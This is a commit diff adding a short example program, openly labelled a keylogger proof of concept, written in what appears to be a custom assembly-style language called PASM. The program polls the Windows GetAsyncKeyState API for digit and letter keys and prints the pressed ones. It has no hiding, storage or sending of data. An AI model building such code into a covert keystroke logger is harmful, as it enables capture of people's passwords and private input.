add: keylogger.pasm example

examples/keylogger.pasm

@@ -0,0 +1,40 @@
+; Simple PASM keylogger POC
+; by patate
+
+; //https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
+
+; -----------------------------------
+; Keys 0 to 9 and A to Z
+; -----------------------------------
+; for (int i = 48; i < 91; i++) {
+;     if (i >= 58 && i <= 64) {
+;       continue;
+;     }
+;     if (GetAsyncKeyState(i) & 0x8000) {
+;       printf("%c", i);
+;     }
+; }
+
+main:
+mov a1, 47
+
+loop:
+add a1, 1
+cmp a1, 90
+ja main
+
+cmp a1, 58
+jb 3
+cmp a1, 65
+jb loop
+
+push a1 ;vKey
+call GetAsyncKeyState
+and eax, 32768 ;0x8000
+cmp eax, 0
+je loop
+
+push a1
+push 1
+call put
+jmp loop